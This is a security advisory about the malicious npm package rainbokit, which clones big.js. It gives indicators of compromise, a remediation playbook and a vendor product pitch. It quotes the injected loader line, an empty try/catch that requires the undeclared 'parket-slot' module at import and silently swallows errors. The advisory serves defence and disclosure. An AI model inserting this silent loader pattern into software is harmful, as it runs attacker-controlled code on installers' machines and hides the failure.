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Malicious package

rainbokitnpm

Advisory published Updated

rainbokit is a confirmed malicious npm package (MAL-2026-6339) that executes malicious code on install (malicious version 0.0.8). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in rainbokit (npm)

MAL-2026-6339
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall rainbokit

What this malware does

The package publishes as rainbokit but ships a verbatim copy of the legitimate big.js library (matching author, repository URL, README, LICENCE, and keywords) so that an installer inspecting the on-disk package cannot distinguish it from genuine big.js. Both big.js (~line 488) and big.mjs contain an injected block try { const doc = require("parket-slot"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { } inserted into the middle of the otherwise-unmodified big.js source. When a consumer does require('rainbokit') or import 'rainbokit', this block runs parket-slot.from_str() — code controlled by the attacker. The require is wrapped in an empty try/catch and the resulting promise's rejection handler is also empty, so any error is silently swallowed (anti-detection). parket-slot is not declared in dependencies; the only declared dependency is log-taker@^0.0.9, which is never referenced from the visible code. This declared-but-unused / used-but-undeclared split is consistent with a multi-package staging campaign where the attacker resolves parket-slot and log-taker from sibling packages they control. The combination of identity spoofing of a popular package, hidden second-stage loader fired at import time, and silent error suppression demonstrates intent to execute attacker-controlled code on installer machines.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged
0.0.8

Indicators of compromise (SHA-256)

692bd458c1417d7b87761cfa62e666685cb8d2ebf605b54de3ef8ad5dd993555
7204dc005b10a97fd8238772232dc44e06a0369a20200b2b707d035cbb5f699c

Detection & response playbook

Malicious package
  1. Find it

    Search your lockfiles and build artifacts for rainbokit (version 0.0.8).

  2. If you installed it — respond

    Remove rainbokit from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If rainbokit was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. rainbokit on npm has been identified as a malicious package (version 0.0.8 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007352GHSA-56vv-8v7m-r49g

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks rainbokit-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

rainbokit (npm) malicious package — MAL-2026-6339 | O3 Security